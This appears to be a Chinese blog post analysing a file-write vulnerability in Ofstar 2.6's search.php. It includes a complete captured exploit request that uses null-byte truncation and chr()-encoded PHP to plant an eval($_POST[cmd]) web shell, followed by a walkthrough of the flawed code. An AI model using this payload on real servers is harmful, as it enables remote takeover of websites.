看到网上有类似的工具,但分析的文章却没找到,听小黑说黑客手册上有,可惜偶没有杂志,所以就抓包然后看下代码,大致分析了一下。这个漏洞很巧妙、也很经典:)
GET/search.php?keyword=By%20CN911&cachefile=an85.php%2500&treadinfo=〈?fputs(fop en(chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(98).chr(98).chr(115).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(110).chr(57).chr(49).chr(49).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?〉HTTP/1.1 Accept:image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/x-shockwave-flash,*/* Accept-Language:zh-cn Accept-Encoding:gzip,deflate User-Agent:Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1) Host:127.0.0.1 |
PS:$treadinfo内容解码如下:
&treadinfo=〈?fputs(fop 好了以上就是抓包得到的分析让我们看下seach.PHP的代码吧,找出漏洞具体在哪儿。 第N行代码如下: $cachefile=rawurldecode($cachefile); |
rawurldecode函数是对已编码的URL字符串进行解码,分别对$keyword和$cachefile进行URL字符串进行解码。rawurldecode这个函数也是关键之一,%00经过rawurldecode的包装后,在〈PHP5.0下可以饶过GPC=ON起到截断作用。
第N+N行代码如下
..................... $keywordarray=explode("│",$keyword); $keycount=count($keywordarray); if($sch_area=="C"){ include'./require/schall.php'; }elseif($sch_area=="A"){ for($j=0;$j〈$keycount;$j++){ $keywordarray[$j].="|";/*搜索作者准确匹配*/ } include'./require/schpart.php'; }else{ include'./require/schpart.php'; } if(!file_exists("userdata/cache/$cachefile.txt")){ showmsg("没有您要查找的内容〈br〉〈br〉〈br〉〈ahref='search.php'〉继续搜索〈/a〉〈/li〉〈/ul〉"); } ............................... |
if($treadinfo)
writeover("./userdata/cache/$cachefile.txt",$treadinfo,"ab");
所以无论调用哪个文件都可以把treadinfo的内容写入缓存文件,因为变量$treadinfo没初始化,可以自定义SHELL代码,而$cachefile又可以自定义一个PHP文件,后面用%00截断TXT。所以这行代码就是把木马写到PHP文件中。
到此漏洞产生的大致过程已经比较明确了由于本人在网吧看的代码,也没具体测试。其中有些细节没指出,如有错误请指出。也非常佩服漏洞发现者SAIY的观察力。确实是个非常经典的漏洞:)
【Ofsatr 2.6搜索漏洞的简单分析】相关文章:
★ 漏洞漫舞的飞骋
★ 典型入侵日志分析